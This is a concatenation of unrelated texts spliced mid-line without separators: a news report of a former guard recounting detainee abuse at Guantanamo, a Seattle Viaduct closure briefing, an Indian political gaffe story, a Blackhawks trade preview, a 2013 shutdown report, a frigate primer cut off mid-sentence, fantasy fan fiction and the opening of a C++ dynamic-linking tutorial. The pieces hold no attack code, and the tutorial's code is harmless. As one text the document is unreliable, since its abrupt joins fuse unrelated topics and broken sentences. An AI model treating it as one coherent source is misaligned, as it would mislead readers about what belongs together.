There was an incident on the first day that he was involved in. He said after the detainees were processed, their pictures and fingerprints were taken and they were given a quick check over. Then they were to be escorted to their cells.
Neely said he and his escorting partner were taking one detainee assigned to Alpha Block. They started to walk but the detainee was shaking and would not walk. "So we started yelling and screaming at him to walk faster... We were actually walking so fast and he wouldn't walk so we had to pick him up off the ground and we were carrying him."
The detainee was put in his cell with Neely taking control of his upper body. His leg shackles and right handcuff were taken off. Neely said when he went to take off the left handcuff the detainee jerked toward him.
"We started yelling at him and screaming at him not to move," Neely said. Neely said the detainee continued to jerk when he and his partner tried again to remove the cuff.
"Next thing I know I slammed him on the ground and I was on top of him. He was trying to get up. I kept pushing his head down to the... concrete floor." Neely said he could hear people on the radio calling "code red Alpha Block." His escorting partner had backed out of the cell and closed the cell door.
"It was just me and the detainee in there." The IRF team "opened the cell door, grabbed me by the back of my uniform and pulled me outside and they just went in there hogtied him and left him there for I don't know how long."
A few weeks later, Neely said he was told by one of the English-speaking detainees why the man kept moving. "The reason he had moved was not to fight... He still had the blacked out goggles on so he could not see. He thought he was going to be executed," Neely said. "A lot of those guys thought they were going to be executed when we put them on their knees and started talking their cuffs off."
Neely said he felt ashamed. He said he witnessed abuse by the guards and others during his six months at the camp.
He said in one incident that occurred in the first few weeks at the camp, a detainee refused to drink a can of the protein drink Ensure, which many detainees were given because they were malnourished. The IRF was called to restrain the detainee so a medic could give him the drink. Upon entering the detainee's cell, one of the IRF team hit the detainee with a shield, Neely said.
The entire team was soon on top of the detainee so it was difficult to see what has happening, according to Neely. The IRF team then stood the detainee up and handcuffed him to the cage fencing and the medic entered the cage, grabbed the detainee by the neck and emptied the can of Ensure into his mouth, but he detainee did not swallow it, Neely said.
The medic then punched the detainee and walked out of the cage like nothing had happened, he added. The detainee was un-cuffed from the cage, hogtied and left that way for several hours, according to Neely, who said he later learned that the detainee thought he was being poisoned.
In another incident, when the camp had been operational for about two months, a detainee allegedly made a comment about one of the female guards and the IRF team was called to Bravo Block.
"They went up to the cell door and they told [the detainee] to turn around and put his hands on his head. He didn't listen," Neely said. The IRF team unlocked the cell door, at which point the detainee turned around put his hands on his head and went on his knees.
The IRF team opened the cell door and the one team member carrying a riot shield threw it off to the side. "And whatever little speed he could gather from that short distance he jumped up in the air and came down with his knee right in the middle of the back of [the detainee] and landed right on top of him."
The other four men started punching the detainee. "Then someone on the inside called the female MP... in there to hit him. And she did," Neely said.
When it was all over the detainee was in a pool of blood unconscious, according to Neely. The detainee was taken by ambulance to the main hospital in Guantanamo. The detainee was later released from Guantanamo Bay without charge, Neely said.
Asked about the allegations, a U.S. military spokeswoman told CNN via email that the Department of Defense does not tolerate the abuse of detainees and takes such allegations seriously. She however denied there was a pattern of systematic mistreatment.
"All credible allegations of abuse are thoroughly investigated, and appropriate disciplinary action is taken when those allegations are substantiated," Cmdr. Leslie Hull-Ryde said.
But she added: "Although there have been substantiated cases of abuse in the past, for which U.S. service members have been held accountable, our enemies also have employed a deliberate campaign of exaggerations and fabrications. The suggestion that DoD personnel, the overwhelming majority of whom serve honorably, are or ever were engaged in systematic mistreatment of detainees is false and does not withstand scrutiny."
As for Neely, he still recalls his conversations with the detainees who spoke English.
"I was always kind of worried about them because of all the stuff I had heard," Neely said. "We were told they were all guilty." The two prisoners he spoke to the most were former British detainees Ruhal Ahmed and Shafiq Rasul. At Guantanamo, they would talk about music and normal subjects. "Eminem and Dr. Dre... at the time [they] were real big," Neely said.
Ahmed "would tell us he was from London. It was kind of weird, because here this guy was in Guantanamo behind this cell door and here I was on the outside... He was actually doing a lot of the same stuff that I was doing in the United States... We had a little bit in common."
Ahmed and Rasul were released from Guantanamo and transferred to Britain in 2004. They sued for damages against Donald Rumsfeld, the former U.S. secretary of state, and other senior military officers over alleged inhumane treatment at Guantanamo. The case was dismissed because the alleged abuse occurred before the U.S Supreme Court said that the constitution covered detainees in Guantanamo.
Neely returned to Fort Hood after his six-month deployment at Guantanamo was up. When he left, he signed a non-disclosure statement -- which he said was routine -- stating that he would not talk to the press, write a book or make a movie. He was told he could be prosecuted if he did, but has gone public about his concerns because he disagrees with U.S. policies in places like Guantanamo and Iraq. He has also testified to the Center for the Study of Human Rights in the Americas at the University of California, Davis.
"I have no problem fighting and dying for this country, but I am not going to kill or be killed for something I don't believe in," he said.
Neely deployed to Iraq in 2003, returned to the U.S. the following year and left the military in 2005, when his contract was up. In 2007, Neely did not respond to a recall for active duty and he was honorably discharged. He now works as a police officer in Texas, where he is raising three children.
He thinks the detention center should be closed. "I think someone would be naive to say that everybody that ever stepped foot in Guantanamo was innocent," Neely said. We know they are not, but "the fact is there is a better way to do it... you can't just throw the principles and the values of the country and the law of the land out the window because it benefits you." Detaining innocent people and depriving them of their due process is "a significant black eye on the Unites States," Neely added.
There will be a time and a place when Neely will tell his children -- the oldest is now 10 -- about Guantanamo. I will "give them all the information and let them make their own opinion... I'll just tell them the truth... I will tell them that I have been part of it."
Neely initially contacted Rasul via Facebook and then met with Ahmed and Rasul, the two former British detainees, in London almost two years ago.
Neely wanted to get in touch with them to say that he was sorry for the part he played in their detention at Guantanamo. "I was very nervous to meet them," Neely said. He did not know what might happen. "I wasn't sure if they would hate me, yell at me," he added. "I can honestly say though when I left London I left with two more friends then I arrived with."(From the updated “interactive simulation”: Red marks the Viaduct section to be demolished during late October closure; green shows how new section will be connected to detour)
By Tracy Record
West Seattle Blog editor
If you are thinking about a fall vacation – October 21-31 might be an excellent time to consider. That has just been announced as the time frame WSDOT is projecting for the biggest Alaskan Way Viaduct shutdown required by the south-end replacement project, according to its director, Matt Preedy.
His Viaduct-project briefing was the biggest presentation at last night’s Delridge Neighborhoods District Council meeting, and included other new information of interest to West Seattle drivers/bus riders/etc. – such as, what is being planned to keep our area out of total gridlock during that time.
Details ahead:
DNDC is comprised of reps from community councils and other groups/ organizations around eastern West Seattle. Pigeon Point’s Pete Spalding, acting DNDC chair last night, had requested the briefing – he is one of three West Seattleites on the South Portal Working Group that’s helped WSDOT vet the WS/South Seattle side of the project. (We reported on its most recent meeting here.)
Preedy, as we have noted here before, is a West Seattleite. He opened by mentioning he’s been trying alternate commute methods – the Viaduct construction office is near the stadiums – such as the bus and Water Taxi.
And, he said, those will be indispensable during the big construction closure that will be required when the southbound side of the Viaduct south-end replacement is done in October (as announced two weeks ago) and needs to be connected to the rest of 99 so that the existing south-end mile can be torn down, facilitating construction of its northbound counterpart. “It will be a challenge to a lot of folks, including myself,” he acknowledged.
The work will require a nine-day closure – two weekends bookending a full workweek – and WSDOT has just decided they’re aiming for the closure to start late the night of Friday, October 21st, with 99 reopening by early Monday, October 31st. (The dates COULD change, Preedy cautioned.)
He revealed two other things of note about the closure plan:
-He says SDOT is hoping to have the new 1st Avenue South on/offramp for the westbound Spokane Street Viaduct (aka the eastern section of the West Seattle Bridge, between 99 and I-5) open by then, so that your options for getting to and from downtown will include that and the “currently underutilized” 4th Avenue South exit from the eastbound SSV.
-He says Metro is planning extra buses during the closure. The project team has just had its first meeting about that plan, according to Preedy – he says now that they have dates tentatively identified, they need to discuss alternate routes, timetables, etc., and whether it might be a time to have “every available bus on the street,” with the help of state “mitigation money” provided to the county for transit boosts during the Viaduct construction work. This might call for a dedicated bus corridor on First Avenue South, temporarily removing some street parking during the closure, he suggested. Spalding asked if the issue of banning “low bridge” commute-time openings for marine traffic might be reopened, if only for this time period – the US Coast Guard has twice denied requests for that – and Preedy says it’s under discussion as well.
-When 99 reopens afterward, a 200-yard section of the current south Viaduct will have been demolished as part of the connection work, so you will see an eerie sort of gap.
Once the new southbound section is connected to the rest of 99, it will carry traffic both ways until the northbound section is done – but its permanent purpose is to hold three southbound lanes, while the northbound section will hold three northbound lanes. So far, according to Preedy, the south-end crew has built 4 spans of the 9-span southbound bridge, and they’re expecting to start pouring concrete for the first section of its deck next week.
What makes the new southbound section safer than the current one? A major part of it, he explained, is out of sight – the foundation goes down 280 feet to find stable soil beneath the fill, while the current structure’s foundation only goes down 80 feet.
Another note: They’re hoping to have the dedicated bike/pedestrian trail along the south end done by the end of July, since right now it’s a patchwork of detours not particularly helpful to those who choose to travel by non-motorized means.
Also while speaking to the Delridge District Council, Preedy reminded the group that his part of the construction project does not include any part of the Central Waterfront section – aka “the proposed deep-bore tunnel.” He reiterated that the south-end mile is “designed to hook up to any of the options” that might eventually emerge (tunnel or?) for replacing the Viaduct’s central section. And he noted once more that the final environmental-impact report on the proposed tunnel is due this summer, at which time – not taking into account the swirling court/election challenges – it would theoretically become the official plan.
Assuming it does, it is still expected to be done and opened in late 2015 (and the south section of 99 will remain two lanes each way until then). Still wondering how West Seattleites will get downtown with an exit-less tunnel? This has been explained before, but it’s a common misunderstanding, so in response to a question, Preedy explained it again: Once the work is all done, whether a tunnel is built or something else, the “new exit into downtown” from northbound 99 will be at King Street, described by Preedy as “five blocks south of (the current one at) Seneca Street.” And he again mentioned the 4th Avenue South exit from the eastbound Spokane Street Viaduct (from which you can go north toward downtown, south toward Costco, or for a few, straight ahead into the City light yard).
Another inquiry: Tunnel tolling. An “advisory group” is being commissioned, according to Preedy, so they can sort out what’s not “so high that no one would use the tunnel, but (not) so low that you won’t generate the funding to complete the project.” Its findings are due out in a year or so.
One last question: Is the nine-day closure tentatively planned for Oct. 21-31 the only one of its kind? For Preedy’s project, yes – but he said that when the tunnel (etc.) is done, it would require a similar closure to connect it to the rest of 99 … but that’s not till late 2015, assuming the current schedule holds.
P.S. The interactive timeline for the project has been updated on the WSDOT site – it starts here.
The next Delridge District Council meeting will be a joint meeting with the Southwest District Council, scheduled for 7 pm Wednesday, July 20th, at High Point Neighborhood Center.Don't talk about money when microphones are on:Ramdev to BJP candidate
Jaipur
oi-Preeti
Jaipur, April 17: Yoga Guru Baba Ramdev was on Thursday caught on camera while warning a BJP candidate from Alwar district "not to talk about money when microphones are on".
According to reports, Ramdev faced an embarrassing "oops" moment during a press conference in Alwar when the BJP candidate Mahant Chand Nath told him, "We are facing lot of problems in getting money. Can't bring money into the constituency."
Ramdev was caught on camera warning Nath, "Don't be a fool and don't talk when microphones are on."
When media persons asked Ramdev about his alleged talk about money in front of camera, he simply dodged away the questions and left the venue without answering them.
Nath told reporters, "It is your imagination. We didn't discuss anything about money."
It should be recalled that Baba Ramdev has been very vocal about his protest against government to bring back black money stashed in Swiss accounts and here he himself is seen murmuring about money.
Earlier, Ramdev had said both Congress and BJP are corrupt but the top leadership of the BJP has a clean image.
"Narendra Modi has a clean image...his nationalism can not be questioned, while the same cannot be said for the Congress leadership."
Here is the shocking video:
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OneIndia NewsUnrestricted free agents: Michal Rozsival, D; Brandon Mashinter, F
Restricted free agents: Andrew Shaw, F; Marcus Kruger, C; Richard Panik, F; Jiri Sekac, F; Phillip Danault, C; Dennis Rasmussen, C
Projected 2016 draft picks: 8 (1 first)
Projected 2017 draft picks: 6 (1 first)
Needs: Top-six left wing, top-four defenseman.
Surpluses: Veteran forwards, forward prospects, defense prospects, 2016 draft picks
Players Potentially in Play: Bryan Bickell, Shaw, Kruger, Viktor Svedberg, Trevor Van Riemsdyk, Teuvo Teravainen, Ville Pokka, Mark McNeill
Likely status: Buyer
Skinny: The Blackhawks lost a significant amount from their 2015 Stanley Cup championship roster, haven't possessed the puck as much this season, and continue to search for more balanced scoring. Still, they haven't missed a beat in the standings, leading the Central Division and Western Conference. As the trade deadline approaches, Chicago has virtually locked up a spot in the 2016 Stanley Cup Playoffs. Goalie Corey Crawford is having a career year, the core group of players, each with long-term contract, is still strong, and the cast of new characters has replenished most of what was lost. Still, general manager Stan Bowman could be active prior to the deadline. Chicago could use an established top-six forward to play left wing on the first line with center Jonathan Toews and right wing Marian Hossa. It could also stand to bolster its defense for a playoff run by adding a proven top-four defenseman. Bowman already has made three trades for depth, acquiring veteran defenseman Rob Scuderi from the Pittsburgh Penguins along with forwards Panik from the Toronto Maple Leafs and Sekac from the Anaheim Ducks. All three trades were tied to the NHL salary cap. Acquiring Scuderi for Trevor Daley freed up $1.05 million in cap space, according to war-on-ice.com; Panik and Sekac were acquired mostly because each can become a restricted free agent. Should Bowman work a trade that doesn't require a player on the active roster to be included, the Blackhawks could have up to $3.5 million in cap space on deadline day. That number could increase if players whose contracts count toward the cap are traded. Bowman will likely seek rental players who can become unrestricted free agents. He'll also be looking to trade Bickell, who is on his second stint with Rockford of the American Hockey League this season. Shaw, 24, would be more enticing to offer but difficult to give up.WASHINGTON -- The government shutdown is dead. Obamacare is alive.
The Senate voted 81 to 18 Wednesday night to reopen the federal government and raise the nation's borrowing limit, hours before the Treasury Department faced the possibility of being unable to pay all of America's bills for the first time in modern history.
The House followed suit, voting 285-144 to end the latest damaging battle of divided government in a polarized Congress.
President Barack Obama signed the legislation early Thursday. He said he would reopen the government immediately to "lift this cloud of uncertainty and unease" that settled on the nation and start fixing the damage.
"There is a lot of work ahead of us, including our need to earn back the trust of the American people that has been lost over the last few weeks," Obama said in a brief speech at the White House.
The standoff began over the summer, when tea party Republicans, led by Texas Sen. Ted Cruz, demanded that the House of Representatives lock government funding in a chokehold unless Democrats and Obama defunded the Affordable Care Act.
Democrats opted for defend over defund, with Obama declaring he would not negotiate over his signature law, the budget or the debt while Republicans were holding hostages.
It set up 16 days of furloughed federal workers, closed parks, halted safety inspections, and the estimated loss of $24 billion in economic activity. The ugly headlines overshadowed the bumpy rollout of Obamacare.
Boehner and the tea party were finally forced to release their grip Wednesday by a bipartisan coalition in the U.S. Senate that said enough is enough, and the looming deadline of potential default starting Thursday.
“The House has fought with everything it has to convince the president of the United States to engage in bipartisan negotiations aimed at addressing our country's debt and providing fairness for the American people under Obamacare," Boehner said after he finally waved the white flag. "That fight will continue. But blocking the bipartisan agreement reached today by the members of the Senate will not be a tactic for us."
All that Republicans got for the bruising battle was a fig leaf provision on Obamacare and record low approval ratings.
The bill agreed upon by Senate Majority Leader Harry Reid (D-Nev.) and Minority Leader Mitch McConnell (R-Ky.) will fund the government through Jan. 15 and extend the $16.7 trillion debt ceiling through Feb. 7. It also includes back pay for unpaid and furloughed federal workers and an agreement that both chambers would open a budget conference committee for the first time in years.
The lone change to Obamacare was minimal, and Democrats said they liked it. It involves putting tighter restrictions on income verification standards for people receiving subsidies in the Affordable Care Act's new insurance marketplaces. It was a far cry from defunding or delaying the law, as many Republicans conceded the strategy to focus the fight on Obamacare had been wrong from the start.
Republicans did notch a significant victory in the final deal. It funds the government until mid-January at the sequestration levels specified by the 2011 Budget Control Act that ended the last debt showdown. But Republicans had won that concession from Democrats weeks before the House set out on its doomed effort to strangle Obamacare.
"The sad truth is, we ended up where we started," said Sen. Chuck Schumer (D-N.Y.). "We achieved our goal, but at a cost. It never should have been this way."
Cruz grabbed one final moment in the spotlight, railing on the Senate floor against letting the Treasury Department pay the debts Congress has run up and putting federal workers back on the job.
"This is a terrible deal," Cruz said. "This deal embodies everything about the Washington establishment that frustrates the American people."
But even as Cruz spoke, he conceded defeat by accurately predicting the bill would pass "by a big margin," and accused his Senate colleagues of abandoning House Republicans in the fight against Obamacare.
"I ask you to imagine a world in which Senate Republicans united to support House Republicans," Cruz said. "It is heartbreaking to the American people that Senate Republicans divided as they did and decided to direct their criticism, direct their attention, direct their cannon fire at House Republicans and at those standing with the American people."
"They became the Air Force bombing our own troops -- bombing House Republicans, bombing conservatives," Cruz said.
McCain, one of Cruz's top GOP critics, countered later that the Texan's strategy is what did the damage to their party.
"The one thing that politicians want is approval from the people. They strongly disapprove of all of us -- they just disapprove of the Republicans more," McCain said. "So hopefully we learned the lesson not to do this. This is a hard blow to the Republican Party. We've got a real task ahead of us to dig ourselves out."
Coburn voted with Cruz, but nevertheless said he thought the fiasco had been entirely predictable because it was obvious Democrats and the president would never end Obamacare, and they control two of the three relevant parts of government. He had a tart piece of advice for Cruz and others: "Have a coordinated strategy that's based on reality rather than one that's not."
Obama promised to keep his pledge to negotiate once the crisis ended, and focused on the budget conference as the opportunity. "We now have an opportunity to focus on a sensible budget that is responsible, that is fair, and that helps hardworking people all across this country," he said.
Rep. Hal Rogers (R-Ky.), the House Appropriations Committee chair and a veteran lawmaker who has long bemoaned the abandonment of regular legislative procedures, sounded nearly as eager as Obama for the budget conference, which he has sought within his own conference.
"It's time to take the threat of default off the table," Rogers said before the measure passed in the House. "It's time to restore some sanity to this place, to do this we all have to give a little."INTRODUCTION
Frigates are an indispensable part of any navy. These ships usually form the numerical bulk of a naval fleet as they are relatively cheaper than large destroyers and cruisers. Every modern navy operates frigates in some or the other form and uses them along with larger surface combatants like destroyers and aircraft carriers. The definition of a modern frigate by Defencyclopedia is
A modern frigate is a 3000-7000 ton warship, equipped with an array of missiles, guns and radars, and is designed to operate autonomously, along with a battle group or act as an escort for non-combatants, in order to fulfill a variety of tasks depending on the mission.
A warship displacing 5000-7000 tons need not always be called as a frigate, as many navies prefer the designation of a ‘destroyer’ for such warships. The designations vary from one navy to another, but |
. There are a total of 3, all of which are even harder to damage. Mentions of a storm that brought them to maturity also contributed to this, I imagine.”
“How did they destroy it the first time? If it worked once, this method would work again, right?”
“I don’t have any specifics yet, but they say that the first head erupted in a pillar of fire after some purple flames rushed up its side. The network’s been very quiet for a while since then, and we’re too far away to make visual confirmation. We’ll just have to hold them off for now.”
...Purple flames…
“I… see…”
...Puria…
But as the pair discreetly rushed towards the courtyard, Hayasa’s attention was suddenly fixated on a danger altogether more immediate. Pitch black armor. Hazelnut hair. She felt her heart skip a beat out of sheer fear.
Stood in the center of yet another massacre, she saw the Legion’s own Valkyrie.
---
“Do you see her?”
Gelb’s voice rang out over Blaze’s scroll. Compared to his gentle reaction to Levant’s voice, he treated Gelb’s grating orders with visible disdain. From the magnified image, he saw Gelb positioning himself at the top of the marble encirclement.
“Yes. Now, headshot, immobilizing shot, armor stripping shot…what do you want?”
“Hold your fire until the target’s ceased its attack. Aim for skin if you can. We’re not remotely prepared to bring down someone this strong…nor do we have the authority. Eirlys is holding her own…just be there to provide fire support when she can’t keep it up.”
“…Are you serious…”
“Quite. Tell us when you fire. Levant will follow up immediately after and take over providing covering fire after that. All the best.”
The seconds of silence between their exchanged felt eternal. Through the display, Blaze could see the two jets of energy clash. The fight in the courtyard had become a matter of endurance.
This…isn’t his usual style. This tactic is far too loose…what are you getting at?
The courtyard shimmered. He could barely see Eirlys behind the heavy wall of black. By contrast, the intruder’s immensely destructive attack continued to lacerate the stone ground, but hardly caused the barrier to shift.
Just tank that as much as you can, you can do it…prove that prick wrong for me.
A stream of black pierced through the scarlet outburst. Beacon’s courtyard flashed that vivid scarlet for a single, final time.
“I’m taking the shot.”
With a muffled blast, Blaze pulled the trigger.
The cyan laser beam instantly found its target. As Helen jerked away from her weapon, her sudden movement threw off Blaze’s aim. Though it hit, the beam only made contact with her leg’s armor for a split second before it overshot, freezing the ground behind her.
Arcing across the sky, a glittering burst of white shot over the courtyard. The colours that made up the glimmering white separated at an altitude of several hundred meters. Each colour plunged into the ground, framing Helen within an encirclement as large as the courtyard itself.
Barely reoriented, Helen found herself instantly dodging the ice cold blast homing in towards her. Disarmed and seemingly surrounded, she instantly leapt for the skies as soon as she had found her footing. But as she shattered the ice encasing her leg, she felt no movement from her cape.
It’s…not responding?
Helen’s glare sharpened into a gasp as she suddenly darted away from her position. In amongst the dispersing, glittering particles raining down from the sky were larger, altogether more familiar shapes.
A series of violent explosions rang out.
The ground she had stood over just seconds ago had been bombarded with small shards of Dust. Despite their small size, the explosion threw her sideways, toward the edge of the strange barrier.
That…wasn’t just a blast.
There was a distinct suction from it, not too unlike a vacuum.
That…was shaped inwards, for the blast to knock me out?
The strength of the blast would have easily given her concussions in her current, exposed state. Though her strength was more than enough to shrug off such antics, she found herself taking cautions against this unseen enemy.
As she raised her head and glanced around, a glimmer of yellow flashed towards her. Instinctively, she guarded against the incoming attack with the length of her arm, only to realise her shield had long been lost.
The incoming streak of yellow struck home before she could react. It shot into her armored forearm, but failed to penetrate the black plating. The force of the impact sent Helen sliding backwards. The projectile glowed a blinding yellow as she slowed, the weight of the penetrator faded with the momentum.
Barely lowering her guard, Helen once again attempted to take stock of her situation. The intense succession of the attacks took her by surprise. However, no matter how unpredictable, they still failed to damage her.
No. That’s the wrong assessment to make. No matter how little damage, the unpredictable direction and almost instantaneous speed of these attacks make blocking impossible in my state.
I’ll take this as a warning.
Begrudgingly.
As she drew this conclusion, a bizarre phenomenon almost instantaneously took place. The surface of the yellow projectile shifted and warped, fading away into a translucent, polarized colour. By the time she dropped her arms, the glowing yellow had faded away entirely. Though not a clean penetration, it left yet another kink in her armor.
Scanning her surroundings, taking the impact head on now left her just meters from the edge of the encirclement. The environment before her eyes hadn’t changed. Whoever launched the attacks had took great care to keep themselves hidden away.
“Tsk…”
Discretion is the better part of valour, huh.
Edging closer and closer to the limits of the boundary, she wearily prepared for the worst.
I can either leave this field…or it could be a trap. But to remain within it, in this situation, is nothing short of suicide.
She passed over the marked area.
The machinery within her armor began to move once more. Her cape tensed up and the Dust within ignited. The reactivation was unstable, the raven wings kicked and flailed against the ground as she scrambled to escape. But, as quickly as possible, Helen thrusted herself into the air.
Dodging and swerving through the limited anti-air fire from within the Academy, she rapidly gained altitude and fled Beacon’s airspace. As she climbed, Helen reopened her communications channel once more.
“My lord, what’s the status?”
An agent began with a concerned tone.
“Change of plans. We withdraw for now. I’ve miscalculated. Tonight is not the right time for an invasion. Call off the advance and return immediately.”
“…Understood.”
I’ll…have to bring this up with Sanguis…
---
10:23 PM, Beacon Academy.
The intense atmosphere eased with Helen’s retreat.
Rushing to Eirlys’ side, Gelb carefully tucked his hands behind her bloodied back. Supporting her extremely light body, he examined her complexion and felt her pulse. The slivers of black mist did not go away, despite her Aura being completely drained. It rushed across the palm of her hand, prepared to defend against any follow-up attacks that may come their way.
...Did I miss something? How is Eirlys still able to do that? Her Aura’s completely drained, but she could still do something on that scale?
“Eirlys...are you alright?”
Though confused, Gelb hid it behind his concerned expression. Despite the fact she had stood her own and even drove the intruder off, she was still in a terrible way. As he looked into her eyes, he could sense her dazed vision zoning out. Eirlys’ body tensed and limped as the sporadic pain caught up with her.
“I..I…I can keep going…thanks…”
“…I don’t know, you might think you’re hot shit with that fancy black stuff but that’s an awful lot of blood. By the way, I’ve got your gun here, it’s quite a piece!”
From over their comms, Blaze’s typically flippant voice interrupted Gelb’s otherwise discreet conversation with Eirlys. With a stubborn silence, Gelb distanced himself from the conversation. Instead, he found himself focusing his attention on the towering silhouette in the distance.
No matter what we’ve done so far, it’d be meaningless if this invasion isn’t stopped.
The courtyard’s ground was soaked in blood. There was no eyes nor ears left, no eyewitnesses to interfere. Gelb found himself gradually buckling to an ever growing temptation. Her immense power had already been revealed to an unknown threat.
Doubtless, there would have been witnesses throughout their fight as well.
Using that power to end Vale’s struggle would be the best way of salvaging the situation.
It would go against everything he had done thus far. It would place the spotlight firmly on fragile girl he held in his hands. Certainly, in saving Vale with this power, his command could lay waste to her future.
But as a blinding yellow glow tore into Vale’s skies once again, he found the command creeping up his throat. Time was well and truly running out.
“…Eirlys, can you still fight?”
The bloodied girl gave a feeble nod. She stumbled and staggered onto her feet, fighting off the immense pain from her torso. Though they both knew that she was far from ready, both Gelb and Eirlys accepted this weak affirmation as all that was needed.
“Gelb, be reasonable, she’s not got any Aura left to fight with-”
Before Levant could finish her sentence, Gelb muted her distant protests with his words.
“This is the most effective way, and you know it too. Those swords and bullets, those mechs and huntsmen, they’re all out of its league. Hydra just fired again. Soon, there won’t be anything in Vale for us to save.”
Turning back to Eirlys, Gelb’s exhaled and gave the order. Though he spoke with his typically cool voice, Levant could hear the uncertainty within his words from within the static.
“Hydra’s in the commercial district, and it needs to be put down before it causes any more damage. Take it down by any means necessary…Semblance included. In its current state…I can’t say for certain if targeting one specific head will be enough.”
Eirlys followed Gelb’s gaze out over the forest and into the city. Even from afar, Hydra’s silhouette remained an awe-inspiring sight to see. It towered over the cityscape, setting it ablaze with its breath. Showered by barrage after barrage of artillery fire, the flaming ruins that encircled the Grimm launched its counterattack. However, as the batteries reloaded and the smoke began to clear, it was all too apparent how ineffective it was.
As she watched the destruction unfold, Eirlys felt each and every strike from Hydra pound at her heart. She winced at the sight of the carnage. The headache that crippled her took hold once more. The scene of Hydra’s destructive beam attack looped infinitely in her mind, each time more vividly than the last.
The countless deaths that would result from this fight, how many would have made a difference?
How many of them would have been in vain, saving something or someone that would only be destroyed or killed in the next invasion?
How much more time must I waste…there is no other option.
Though it only lasted a split second, the thought was enough to sour her mood and twist her fragile expression. Further images flashed into her mind. They were the blank, cold faces of those who made up the graveyard around her. The vanity of their struggles, the helpless sadness they must have felt in their last moments trampled on her guilty heart. A cold chill ran down her back from the touch of her own blood.
The dying rage in her eyes lit up once more. Sharply spreading her wings, she kicked off the ground as best she could, bringing herself higher and higher into the sky. As she rose, her semblance bled off her arm. The single bat wing took shape, its pitch black form pointed itself in Hydra’s direction.
Eirlys steadied herself as best she could. Even the slightest brush from the winds caused her to wince in pain. The wounds she took from being thrown into Beacon made the act of breathing a task. Deprived of air, blinded by her blood, she found herself yielding to the unbearable sadness in her heart as each second passed.
Her vision was fading. In the center of her darkening world were the snaking necks in the distance. Before she collapsed, she unleashed her full fury upon the Grimm.
A black blaze cut across the sky.
Through shells, buildings and armor, the ray sliced through all that stood in its path. In that moment, the battle was over. It was as awe inspiring as it was silent and instantaneous.
In the distance, a muffled crashing boomed through the night. The towering shadows collapsed. Surrounding buildings caught in the blast followed. Even from afar, the mist from Hydra’s disintegrating body could be seen. Its distinct upward stream set itself apart from the rain of debris that filled the airspace. The ground trembled as chunks of building and Grimm crashed into the streets.
As the blast flickered and faded, Eirlys staggered and faltered mid-air. Her gentle descent only lasted for a split second before darkness engulfed her vision. Gelb instantly darted forward, preparing to cushion Eirlys’ fall.
Despite the altitude she fell from, Gelb caught her without issue. Cradling her in his arms, he took the moment to brush her messy hair aside.
“D-did…I do well…?”
Eirlys’ feeble voice took hold of Gelb’s attention, but she had passed out by the time he glanced down at her. He gave his belated response, lightly touching her bloodied face with a restrained fondness.
“Gelb? …What’s that about?”
From behind them team, a stern voice called out to them.
Between Hayasa and the archer, the pair exchanged the same, puzzled glance. Having arrived on the scene just seconds ago, they rushed up to Gelb’s side.
Before the students could begin to talk, the sound of an approaching jet engine broke up their conversation. A white Bullhead, marked with a red cross on its side, rapidly descended into the courtyard. With its engines smoking and its hatches wide open, its medical crew readied itself to rush into action. In among the medics, an unconscious Puria was laid out on a stretcher and carried off into Beacon.
“Children! Are you all okay?”
Seeing the students’ concern grow on their faces, she paused and cleared her throat.
“Don’t worry, she’s just overworked herself...as usual. She’ll live. I…see, there’s been…quite the tragedy here. Grimm attacks?”
“…Th-they…were killed by an intruder.”
Among the emerging students, they stuttered and paused as the cold truth was eventually spoken. A heavy silence followed. It was hard to continue with the topic, but any emotion besides sadness felt painfully out of place to express. Those present found themselves struggling to begin speaking of any details.
“Did any of you recall how she looked like?”
Hayasa finally broke the silence unable to hold her curiosity any longer.
“…N-no…we only lived because we were indoors at the time…”
“More to the point, Hayasa, you’re not cleared to fight. What were you doing-”
Before Epli could finish her sentence, the Archer stepped in.
“Beacon was under attack. She had to defend herself and I managed to get her out before things got worse. Nobody knows if the dorm would be next, and this was simply to prevent any further losses.”
A stern silence fell once more. Epli paused, still trying to evaluate Beacon’s current situation. Seizing this opportunity, Hayasa pressed on with her questioning.
“Please…can anybody tell me about this… intruder?”
“S-she uses a strange…sword. W-we really can’t tell what it was. When she arrived, her armor was already in very bad shape, but she still fights like a monster...however, apparently we had a monster of our own…”
Hayasa listened bitterly. Discussing this topic only brought up the memory of the Valkyrie’s immense strength and reminded her of her humiliating defeat.
...Helen Herja…You will be stopped…I will stop you…Understanding Dynamic Linking in C++
If you’ve ever used C or C ++ for sure you’ve had to use methods that make your job easier, no one likes to re-invent the wheel (unless you’re a caveman). And is that many times we find cases where we have to do the calculation of a square root with sqrt, or we just want to use printf to print a message on the screen.
Each time we include this files we are making use of one Library, either the C or C++ standard library, or some other of the infinity of libraries that exist on the Internet
What this libraries do is join as part of the code of our executable by means of and operation called Linking. There are two ways we can perform this process, in compiling time and in run time.
For reasons of this tutorial we will focus on the second one, but I will still explain how the compiler perform this process.
In Compile Time
If use Linux and have ever compiled from the console any program that uses threads, you will know the following command:
gcc myprogram.c -o myprogram -lpthread
Do you recognize it?, well in this case what we are doing is linking a library in compile time. When we add the -lpthread line we are telling the compiler that we are going to use a library called pthread, which is the POSIX library for handling threads.
What the compiler does when adding this line is that it search in certain directories of the system if that library is found to later resolve al the symbols (functions, variables, or objects) used by it. In Linux it searchs for files of the form libname.so or libname.a for dynamic and static libraries respectively. In this speficic case it uses the library libpthread.so.
In Run Time
Another alternative to make use this libraries, is loading them in run time, through dynamic libraries (.so in Linux,.dll in Windows or.dylib in Mac OS X).
In order to do this we have to make use of libraries that the system provides, in this case we will make use of the header <dlfcn.h> that we can find in Linux and Mac OSX. In Windows there is similar alternative that is found in the header <windows.h>.
Creating Our First Library
The first thing we are going to do is create a dynamic library that will serve as an example. For that we will use the following code:
#include "HelloLibrary.hpp" #include <iostream> void SayHello(const char* name) { std::cout << "Hello " << name << " have a nice day!" << std::endl; }
File HelloLibrary.cpp
What we have just done is create function that given a string it’s going to print a greeting message. If we take a look at the code we will se that is includes a file called HelloLibrary.hpp which has the following content:
#pragma once #ifdef __cplusplus extern "C" { #endif void SayHello(const char* name); #ifdef __cplusplus } #endif
File HelloLibrary.hpp
Now we are going to compile and generate our own dynamic library:
g++ HelloLibrary.cpp -o libHelloLibrary.so -shared -fPIC
NOTE: If you are in Ubuntu or Debian you should probably execute the following command in order to install the C and C++ compiler: sudo apt-get install build-essential
